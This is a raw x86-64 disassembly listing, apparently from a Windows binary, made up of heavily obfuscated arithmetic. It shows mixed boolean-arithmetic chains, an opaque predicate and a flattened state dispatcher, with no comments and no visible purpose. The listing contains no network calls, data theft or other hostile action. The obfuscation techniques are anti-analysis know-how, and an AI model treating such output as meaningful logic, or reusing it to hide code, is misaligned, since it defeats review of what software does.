xor r14d, ecx
not ebp
or ebp, r14d
mov eax, ebp
not eax
and eax, 0x6b351f88
and ebp, 0x94cae077
or ebp, eax
mov eax, ebp
xor eax, 0x940a2061
xor ebp, 0x6b351f88
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x21d4cf9e
and esi, 0xde2b3061
or esi, ecx
or edx, ebp
and ebp, 0x21d4cf9e
and eax, 0xde2b3061
or eax, ebp
xor eax, esi
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x4100000a
and edx, 0xb4b06620
or edx, eax
mov ebp, edx
xor ebp, 0xb4200000
xor edx, 0x1400845
or ecx, 0xf5b0662a
mov eax, ecx
not eax
and edx, 0x1d06e65
and ebp, 0xf420000a
or ebp, edx
and ecx, 0x1d06e65
and eax, 0xa0f9190
or eax, ecx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x614a97f4
and eax, 0x9eb5680b
or eax, ecx
mov edx, eax
xor edx, 0x20040420
and r9d, r8d
mov ecx, r8d
and ecx, r9d
xor r9d, r8d
or r9d, ecx
mov r8d, eax
xor r8d, 0x94faf1de
mov edi, r9d
xor edi, 0x4f910a8b
mov esi, edi
and edi, r9d
mov ecx, r9d
not ecx
xor eax, 0x249404aa
and eax, r8d
and edx, 0xb06ef574
and esi, ecx
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov ebp, esi
not ebp
mov eax, edi
not eax
mov ebx, ebp
and ebx, 0x907db80b
and esi, 0x6f8247f4
or esi, ebx
or ebp, eax
and eax, 0x907db80b
and edi, 0x6f8247f4
or edi, eax
xor edi, esi
not ebp
or ebp, edi
mov eax, edx
not eax
and eax, 0xfa205c00
and edx, 0x5dfa3ff
or edx, eax
mov eax, ebp
not eax
and eax, 0xfa205c00
and ebp, 0x5dfa3ff
or ebp, eax
xor ebp, edx
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov edx, ecx
not edx
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x946f2cb
and ebp, 0xf6b90d34
or ebp, ebx
or eax, ecx
and ecx, 0x946f2cb
and edx, 0xf6b90d34
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x5c3b0ef3
and eax, 0xa3c4f10c
or eax, ecx
mov ecx, eax
xor ecx, 0x48200431
xor eax, 0x81006000
and eax, 0x951b6ac2
and ecx, 0x6ae4953d
or ecx, eax
xor ecx, 0x6ae4953d
sete r8b
setne r14b
cmp r10d, 0xa
setl r9b
cmp r10d, 9
setg r10b
mov ebp, r10d
xor bpl, r9b
mov edx, ebp
xor dl, 1
mov eax, edx
and al, bpl
xor dl, al
xor al, 1
or al, bpl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
xor al, r10b
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov esi, ecx
or sil, al
mov edx, esi
xor dl, 1
and dl, al
or al, sil
xor al, 1
and sil, cl
or sil, dl
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov eax, esi
xor al, 1
and sil, al
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov ecx, r14d
xor cl, r8b
mov byte [rsp + 0x3c], r8b
mov r11d, ecx
xor r11b, 1
mov edx, ecx
or dl, r11b
mov edi, edx
xor dil, 1
mov r12d, r11d
and r12b, cl
mov eax, r12d
xor al, r11b
xor r12b, 1
mov r10d, r12d
or r10b, cl
xor r10b, 1
or al, r10b
mov r15d, eax
and r15b, dl
xor al, 1
and al, dil
or al, r15b
mov edi, edx
and dil, cl
xor dl, cl
mov ebx, ecx
or dl, dil
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, r14b
and al, dl
and dl, r14b
xor al, 1
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, ebx
mov byte [rsp + 0x48], bl
xor r12b, bl
or r12b, r10b
mov byte [rsp + 0x40], r14b
xor r12b, r14b
xor r11b, r14b
mov eax, r8d
or al, cl
xor al, 1
or al, r11b
xor al, 1
mov ecx, r12d
and cl, al
xor al, r12b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov r10d, ecx
and r10b, al
xor al, cl
or al, r10b
xor al, dl
mov r12d, eax
xor r12b, 1
and r12b, dl
mov ecx, r12d
and cl, al
xor r12b, al
or r12b, cl
mov r15d, esi
xor r15b, 1
mov r13d, esi
mov ebx, r15d
and bl, sil
mov edx, r12d
xor dl, 1
mov eax, edx
and al, r12b
mov ecx, edx
mov r8d, edx
xor cl, al
xor al, 1
or al, r12b
xor al, 1
or al, cl
mov r10d, eax
mov r11d, edx
xor r11b, al
and al, sil
mov byte [rsp + 0x38], al
or sil, r15b
or r13b, sil
xor sil, r15b
mov edx, r13d
xor dl, sil
or sil, r13b
xor sil, 1
or sil, dl
mov edx, esi
xor dl, 1
or dl, sil
mov esi, edx
xor sil, 1
or dl, sil
xor dl, 1
mov r13d, esi
and r13b, dl
xor dl, sil
or dl, r13b
mov eax, edx
xor al, 1
mov esi, eax
and sil, dl
mov r13d, eax
and r13b, sil
xor sil, al
or sil, r13b
mov r13d, esi
xor r13b, 1
and al, sil
and r13b, dl
or r13b, al
xor r13b, 1
or r13b, sil
mov esi, r13d
xor sil, 1
mov eax, r15d
and al, bl
xor bl, r15b
or bl, al
mov byte [rsp + 0x3a], bl
and bpl, r9b
mov eax, ebp
xor al, 1
mov edx, eax
and dl, bpl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
or al, bpl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor r9b, cl
mov eax, r9d
xor al, 1
and r9b, cl
mov ecx, r9d
and cl, al
xor r9b, al
or r9b, cl
mov ebp, r9d
xor bpl, 1
mov ecx, r10d
xor cl, 1
mov byte [rsp + 0x39], cl
mov byte [rsp + 0x3b], r8b
or cl, r8b
and r11b, r8b
mov edx, ecx
xor dl, r11b
xor r11b, 1
xor dl, 1
or r11b, cl
xor r11b, 1
or r11b, dl
mov ecx, r11d
xor cl, 1
mov edx, r12d
and dl, cl
and r11b, r8b
or r11b, dl
xor r11b, 1
or r11b, cl
mov ecx, r9d
and cl, bpl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, esi
and dl, r13b
mov eax, esi
and al, dl
xor dl, sil
or dl, al
mov r8d, ecx
xor r8b, 1
mov eax, edx
xor al, 1
and al, r8b
and dl, cl
or dl, al
mov eax, r13d
xor al, cl
or cl, r13b
xor cl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor r9b, bpl
and r9b, bpl
mov eax, r9d
xor al, 1
or r9b, al
mov edx, eax
xor dl, r9b
or r9b, al
xor r9b, 1
or r9b, dl
mov eax, r9d
xor al, 1
and al, r9b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
and r13b, al
xor al, 1
and al, sil
or al, r13b
mov r8d, ecx
xor r8b, 1
mov r13d, r8d
and r13b, cl
xor r13b, 1
mov edx, ecx
xor dl, r13b
or r13b, cl
xor r13b, 1
or r13b, dl
mov esi, eax
xor sil, 1
mov edx, esi
and dl, al
xor dl, 1
mov ebp, eax
xor bpl, dl
or dl, al
xor dl, 1
or dl, bpl
mov ebp, r13d
xor bpl, 1
or r8b, cl
mov ebx, r13d
xor bl, bpl
and bl, r13b
or sil, al
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
mov r9d, ecx
and r9b, bl
xor cl, bl
or cl, r9b
xor al, r8b
xor r8b, 1
xor cl, r8b
or r8b, bl
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, cl
xor cl, 1
or cl, r8b
mov r8d, edx
xor r8b, 1
xor al, 1
xor cl, 1
or cl, al
mov eax, esi
xor al, 1
and sil, dl
mov ebx, r8d
and bl, al
or bl, sil
mov r9d, edx
xor r9b, al
or al, dl
xor al, 1
or al, r9b
xor al, 1
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor cl, 1
mov ebx, ecx
xor bl, al
xor bl, 1
and bl, al
or cl, al
xor cl, 1
mov r9d, ebx
and r9b, cl
xor cl, bl
mov eax, r11d
xor al, 1
or cl, r9b
or r8b, bpl
xor dl, r13b
mov ebx, r8d
xor bl, dl
xor dl, 1
xor bl, 1
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
mov edx, ecx
xor dl, 1
mov r14d, ebx
xor r14b, 1
and bl, dl
or dl, r14b
xor dl, 1
and r14b, cl
or r14b, bl
mov ecx, edx
and cl, r14b
xor r14b, dl
or r14b, cl
mov ebp, r11d
and bpl, al
or r11b, al
mov ebx, eax
xor al, bpl
xor al, 1
and bpl, al
xor bpl, 1
mov ecx, ebp
xor cl, al
or bpl, al
xor bpl, 1
or bpl, cl
mov r13d, ebp
xor r13b, 1
mov edi, ebp
and dil, r13b
mov eax, edi
xor al, 1
mov ecx, r13d
xor cl, al
or al, r13b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r8d, ecx
and r8b, al
xor cl, al
xor bl, r11b
or cl, r8b
mov r10d, ecx
xor r10b, 1
xor bl, 1
and bl, r11b
mov eax, r10d
or al, cl
mov r8d, r10d
and r8b, al
xor al, 1
mov r11d, eax
xor r11b, cl
and r11b, al
and al, cl
or al, r8b
mov r8d, r11d
and r8b, al
xor al, r11b
or al, r8b
mov r9d, ebx
xor r9b, 1
mov r11d, r9d
or r11b, bl
mov r8d, r11d
xor r8b, 1
mov edx, r8d
and dl, r11b
mov esi, edx
and sil, r8b
xor dl, r8b
or dl, sil
mov r8d, edx
xor r8b, 1
and r8b, bl
and dl, r9b
or dl, r8b
mov r8d, r11d
and r8b, r9b
xor r11b, r9b
or r11b, r8b
xor dl, 1
mov r8d, edx
xor r8b, r11b
or dl, r11b
xor dl, 1
or dl, r8b
xor dl, 1
mov r8d, edx
or r8b, al
xor dl, al
xor dl, 1
and dl, al
mov eax, r8d
xor al, dl
xor dl, 1
or dl, r8b
xor al, 1
xor dl, 1
or dl, al
and r9b, r10b
or r10b, bl
and bl, cl
xor r10b, 1
or bl, r9b
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, ebx
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
or cl, bl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov r10d, ebx
xor r10b, 1
mov cl, byte [rsp + 0x40]
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, r10d
mov dl, byte [rsp + 0x3c]
and al, dl
xor r10b, dl
mov r8d, edx
or r10b, al
mov eax, r10d
xor al, 1
and al, bl
xor bl, 1
mov edx, ebx
xor dl, r10b
and dl, bl
and r10b, bl
or r10b, al
mov eax, edx
xor al, 1
xor dl, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, dl
mov eax, ebp
and al, dil
xor dil, bpl
or dil, al
mov eax, edi
xor al, 1
or r13b, bpl
mov r9d, r13d
xor r9b, 1
mov dl, byte [rsp + 0x48]
and dl, r8b
mov r8d, edx
xor r8b, 1
mov ebx, eax
or bl, r13b
xor bl, 1
and r9b, al
and r13b, dil
or r13b, r9b
mov r9d, ebx
and r9b, r13b
xor r13b, bl
or r13b, r9b
and dl, r8b
xor dl, 1
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
mov r11d, edx
xor r11b, 1
and r11b, r13b
xor r13b, 1
and r13b, dl
or r11b, r13b
mov ebx, edi
xor bl, cl
and bl, dil
xor al, cl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov ebx, eax
xor bl, 1
and al, bl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov r8d, eax
xor r8b, 1
mov r9d, eax
and r9b, r8b
mov ebx, r9d
xor bl, 1
xor r9b, al
or bl, r8b
xor bl, 1
or bl, r9b
xor bl, r11b
xor r11b, 1
mov eax, r11d
and al, r8b
xor r11b, r8b
or r11b, al
mov eax, r11d
xor al, bl
xor bl, 1
xor al, 1
or bl, r11b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov r8d, r10d
xor r8b, 1
mov r9d, r8d
or r9b, r10b
mov eax, r9d
xor al, 1
mov r11d, ebx
or r11b, dl
mov ecx, r11d
xor cl, 1
and r11b, cl
and dl, bl
xor r11b, 1
mov esi, ecx
xor sil, r11b
or r11b, cl
xor dl, 1
mov edi, ebx
xor dil, dl
or dl, bl
mov ebp, ecx
xor bpl, bl
or cl, bl
mov r13d, r8d
xor r13b, bl
xor bl, r10b
and r10b, r9b
and al, r8b
or al, r10b
or r9b, r8b
mov r10d, r9d
xor r10b, al
xor al, 1
or al, r9b
xor r10b, 1
xor al, 1
or al, r10b
xor r11b, 1
or r11b, sil
xor dl, 1
or dl, dil
xor dl, r11b
xor cl, 1
or cl, bpl
xor cl, 1
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
and r13b, r8b
xor r13b, 1
xor bl, 1
mov ecx, r13d
xor cl, bl
or bl, r13b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
xor al, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, al
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r8d, r14d
xor r8b, 1
mov edx, r8d
and dl, r14b
xor dl, 1
mov ebx, r14d
xor bl, dl
or dl, r14b
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
mov r10d, r14d
or r10b, r8b
mov ecx, edx
and cl, r9b
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, r9b
xor bl, 1
or bl, cl
mov ecx, r10d
xor cl, 1
xor bl, cl
xor bl, 1
xor r10b, r9b
or cl, dl
xor cl, 1
or cl, r10b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov r11d, eax
xor r11b, 1
xor cl, r11b
mov r10d, ecx
and r10b, r11b
xor r10b, 1
mov r9d, r10d
xor r9b, cl
or r10b, cl
xor r10b, 1
or r10b, r9b
mov ecx, r11d
and cl, al
mov r9d, r11d
xor r9b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r9b
mov r9d, ecx
xor r9b, 1
or r11b, al
mov eax, r11d
xor al, 1
mov ebx, r9d
and bl, cl
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
mov edx, r11d
and dl, al
xor r11b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r11b
mov r9d, ebx
xor r9b, 1
and r9b, dl
xor dl, 1
and dl, bl
or dl, r9b
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, r14b
mov ecx, r8d
xor cl, dl
and cl, r8b
and dl, r8b
mov ebx, r10d
xor bl, 1
or dl, al
xor cl, 1
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, r10b
and bl, al
or bl, dl
xor bl, 1
or bl, r10b
mov ecx, r10d
xor cl, al
xor cl, 1
and cl, al
or al, r10b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
and al, bl
xor bl, 1
xor r8b, 1
mov ecx, ebx
xor cl, r8b
and cl, bl
and r8b, bl
or r8b, al
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov cl, byte [rsp + 0x3a]
xor r12b, cl
and cl, r12b
xor r12b, 1
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov r10d, r12d
xor r10b, 1
mov eax, r15d
mov dl, byte [rsp + 0x3b]
xor al, dl
xor dl, al
and dl, al
mov cl, byte [rsp + 0x39]
and cl, r15b
mov al, byte [rsp + 0x38]
or al, cl
xor r15b, al
and r15b, al
mov eax, edx
xor al, 1
mov ecx, r15d
xor cl, 1
and cl, dl
and al, r15b
or al, cl
mov ecx, edx
xor cl, r15b
or r15b, dl
xor r15b, 1
or r15b, cl
xor r15b, 1
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov r9d, r15d
xor r9b, 1
mov ebp, r9d
and bpl, r15b
mov eax, r9d
xor al, bpl
xor bpl, 1
or bpl, r15b
xor bpl, 1
or bpl, al
mov edi, r10d
xor dil, r12b
mov r11d, r12d
and r11b, r10b
mov edx, r11d
xor r11b, r12b
or r12b, r10b
mov esi, r12d
xor sil, 1
and dil, r10b
mov eax, edi
xor al, 1
and dil, r12b
or r12b, al
and al, sil
mov r14d, ebp
xor r14b, 1
or al, dil
xor al, 1
mov esi, r12d
xor sil, al
or al, r12b
mov ecx, r14d
or cl, bpl
xor al, 1
or al, sil
mov ebx, ecx
xor bl, 1
and r15b, cl
or cl, r9b
and bl, r9b
xor cl, 1
or bl, r15b
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
mov r9d, ebx
xor r9b, 1
and r9b, bl
mov ecx, r9d
and cl, bl
xor r9b, bl
or r9b, cl
xor r9b, al
xor dl, 1
or dl, r10b
xor dl, 1
or dl, r11b
xor dl, bpl
mov eax, r10d
and al, r14b
xor r14b, r10b
or r14b, al
xor dl, 1
mov eax, edx
xor al, r14b
or dl, r14b
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor cl, 1
and cl, r9b
xor r9b, 1
and dl, r9b
or cl, dl
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
mov eax, r9d
and al, cl
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, 1
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov r10d, edx
xor r10b, 1
or cl, r9b
xor r9b, cl
and r9b, cl
mov r11d, r9d
xor r11b, 1
mov eax, r10d
xor al, dl
or dl, r10b
and al, r10b
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov esi, ebx
and sil, al
xor bl, al
or bl, sil
xor bl, dl
mov eax, r9d
or al, r11b
mov esi, edx
and sil, cl
xor cl, dl
mov edi, r9d
and dil, al
xor al, 1
xor bl, 1
or cl, sil
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, r11b
and dl, al
and al, r11b
or al, dil
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or dl, cl
mov eax, r10d
or al, r9b
xor al, 1
xor r9b, r10b
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
xor r9b, dl
and dl, r9b
xor dl, 1
mov eax, edx
xor al, r9b
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or dl, al
xor dl, al
mov ecx, edx
xor cl, 1
and dl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r11d, eax
xor r11b, 1
mov r9d, eax
and r9b, r11b
mov esi, r9d
xor sil, 1
mov r10d, r11d
xor r10b, sil
mov ebx, r11d
or bl, sil
xor bl, 1
or bl, r10b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, r11d
xor bl, al
and bl, r11b
xor bl, cl
mov r10d, ebx
xor r10b, 1
and cl, r10b
mov edx, ecx
xor dl, 1
xor cl, bl
or dl, r10b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
xor r9b, r11b
or sil, al
xor sil, 1
or sil, r9b
xor sil, cl
mov eax, ecx
and al, r11b
xor cl, r11b
or cl, al
xor cl, 1
mov eax, esi
and al, cl
xor cl, sil
or cl, al
mov r9d, ecx
xor r9b, 1
mov r10d, r8d
xor r10b, 1
mov edx, r10d
and dl, r8b
mov ebx, r10d
and bl, dl
xor dl, r10b
or dl, bl
mov ebx, ecx
and bl, r9b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r11d, edx
xor r11b, 1
mov edi, ebx
xor dil, 1
mov esi, edx
and sil, r11b
mov eax, esi
xor sil, dl
mov ecx, ebx
and cl, dil
xor al, 1
or al, r11b
xor al, 1
or al, sil
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov eax, r11d
and al, dil
xor dil, r11b
or dil, al
xor cl, 1
mov eax, ecx
xor al, dil
or cl, dil
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, r10d
or al, r8b
mov edx, eax
xor dl, 1
and r8b, al
or al, r10b
and dl, r10b
or dl, r8b
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, r9d
xor al, dl
and r9b, al
and al, dl
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor cl, 1
xor bl, 1
or bl, cl
xor dl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r8d, eax
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x95409e26
mov eax, 0xa89dd2a4
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x95409e26
jmp 0x140022823
mov eax, dword [0x1400c5670]
lea r8d, [rax - 1]
imul r8d, eax
mov r9d, r8d
not r9d
mov ecx, r9d
and ecx, 0x48b1602a
mov edx, r8d
and edx, 0xb74e9fd5
or edx, ecx
mov ebp, edx
xor ebp, 0x81400800
xor edx, 0x8300000
mov eax, r9d
or eax, 0xcb71f936
mov ecx, eax
not ecx
or edx, 0x208a0641
and edx, 0x2aba9755
and ebp, 0xc1416822
or ebp, edx
and eax, 0x2aba9755
and ecx, 0x14040088
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x6ef93796
and ecx, 0x9106c869
or ecx, eax
mov eax, ecx
xor eax, 0x52341045
xor ecx, 0x810086a0
and ecx, 0x8943a7ba
and eax, 0x76bc5845
or eax, ecx
mov ebx, eax
xor ebx, 0x76bc5845
xor eax, 0x81038022
and eax, 0x918bd823
mov ecx, ebx
and ecx, 0x6e7427dc
or ecx, eax
xor ecx, 0x465a2a25
and ebx, 0xd7d1f206
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x600147c0
and ebx, 0x9ffeb83f
or ebx, eax
mov edx, ebx
xor edx, 0x9ffeb83f
mov r10d, ebx
xor r10d, 0x600147c0
mov eax, r9d
and eax, 0x6814e7cb
mov ecx, r8d
and ecx, 0x97eb1834
or ecx, eax
mov eax, ecx
xor eax, 0x2a0830
and eax, 0x282e0df9
xor ecx, 0xbfc515cd
or ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x92c937c6
xor ecx, 0xd749ac26
and ecx, esi
and esi, 0x6d36c839
or esi, eax
mov ebp, esi
xor ebp, 0x6d36c839
xor ebx, 0xb748ebe6
and ebx, r10d
mov eax, edx
and eax, 0xd749ac26
xor esi, 0x92c937c6
mov edi, ebp
and edi, 0x28b653d9
mov r11d, ebx
and r11d, eax
xor eax, ebx
or eax, r11d
mov ebx, edi
and ebx, ecx
xor ecx, edi
or ecx, ebx
mov ebx, eax
not ebx
and ebx, ecx
not ecx
and ecx, eax
or ecx, ebx
mov eax, edx
and eax, 0x44c15956
and r10d, 0xbb3ea6a9
or r10d, eax
or edx, esi
and esi, 0x44c15956
and ebp, 0xbb3ea6a9
or ebp, esi
xor ebp, r10d
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x91769ce0
and edx, 0x6e89631f
or edx, eax
mov eax, edx
xor eax, 0x22896002
mov ebx, ecx
not ebx
xor edx, 0x91769ce0
mov ebp, ebx
and ebp, 0x5c100bbd
and ecx, 0xa3eff442
or ecx, ebp
or ebx, edx
and edx, 0x5c100bbd
and eax, 0xa3eff442
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov edx, ebx
mov eax, ebx
xor eax, 0xd7d1f206
and eax, ebx
not ebx
and ebx, 0xa01d3845
and edx, 0x5fe2c7ba
or edx, ebx
mov ecx, edx
xor ecx, 0x41000000
xor edx, 0x80113004
or edx, 0x282e0df9
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0x36f1d226
and ecx, 0xc1002000
or ecx, ebx
or edx, ebp
and ebp, 0x36f1d226
and eax, 0xc90e2dd9
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xdcb4d867
and ecx, edx
not edx
and edx, 0x18a45862
and eax, 0xc4108005
or eax, edx
xor eax, 0xc4108005
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x234b2798
and ecx, 0xdcb4d867
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x3d75e14
and eax, ecx
not ecx
and ecx, 0x654d8786
and edx, 0x9ab27879
or edx, ecx
mov ebx, edx
xor ebx, 0x9ab27879
mov ecx, edx
xor ecx, 0x669ad992
and ecx, ebx
mov ebp, ecx
not ebp
mov edi, eax
not edi
mov esi, ebp
and esi, 0x324212c9
and ecx, 0xcdbded36
or ecx, esi
or ebp, edi
and edi, 0x324212c9
and eax, 0xcdbded36
or eax, edi
xor eax, ecx
not ebp
or ebp, eax
mov eax, ebp
not eax
and eax, 0x94002fec
and ebp, 0x6bffd013
or ebp, eax
xor ebp, 0x41e185a0
and ebx, 0x29c90ba7
xor edx, 0xb37b73de
or edx, ebx
mov eax, edx
not eax
and eax, 0xb9e64c9c
and edx, 0x4619b363
or edx, eax
xor edx, 0x4619b363
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
not eax
and eax, 0x3dfdbf8c
and edx, 0xc2024073
or edx, eax
mov ecx, edx
xor ecx, 0x82004022
xor edx, 0x4518984
and edx, 0x445389d5
and ecx, 0xbbac762a
or ecx, edx
mov eax, ecx
xor eax, 0x400209c5
xor ecx, 0x220c642a
and eax, 0xd9a21bc5
and ecx, 0x265de43a
or ecx, eax
mov edx, ecx
xor edx, 0xd9a21bc5
xor ecx, 0x265de43a
mov eax, r9d
and eax, 0x29c90ba7
mov edi, r8d
xor edi, 0x29c90ba7
and edi, r8d
mov ebp, eax
and ebp, edi
xor edi, eax
or edi, ebp
mov esi, edi
not esi
mov eax, esi
and eax, 0x6098a2ea
and edi, 0x9f675d15
or edi, eax
and r8d, 0x6098a2ea
and r9d, 0x9f675d15
or r9d, r8d
xor r9d, edi
xor esi, r9d
and esi, r9d
mov eax, esi
not eax
mov ebp, eax
and ebp, 0xfdc6b062
mov ebx, esi
and ebx, 0x2394f9d
or ebx, ebp
mov ebp, ebx
xor ebp, 0x2394f9d
and ebp, edx
xor ebx, 0xfdc6b062
and ebx, ecx
or ebx, ebp
not ebx
or ebx, edx
mov ebp, ebx
not ebp
xor edx, esi
not edx
and edx, esi
xor eax, ecx
not eax
and eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ebp
xor edx, ecx
and edx, ebp
and ebx, 0xe6b62532
and ebp, 0x1949dacd
or ebp, ebx
and ecx, 0xe6b62532
and eax, 0x1949dacd
or eax, ecx
xor eax, ebp
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, eax
mov ebx, ecx
not ebx
mov edx, eax
and edx, 0xb415a724
mov ebp, edi
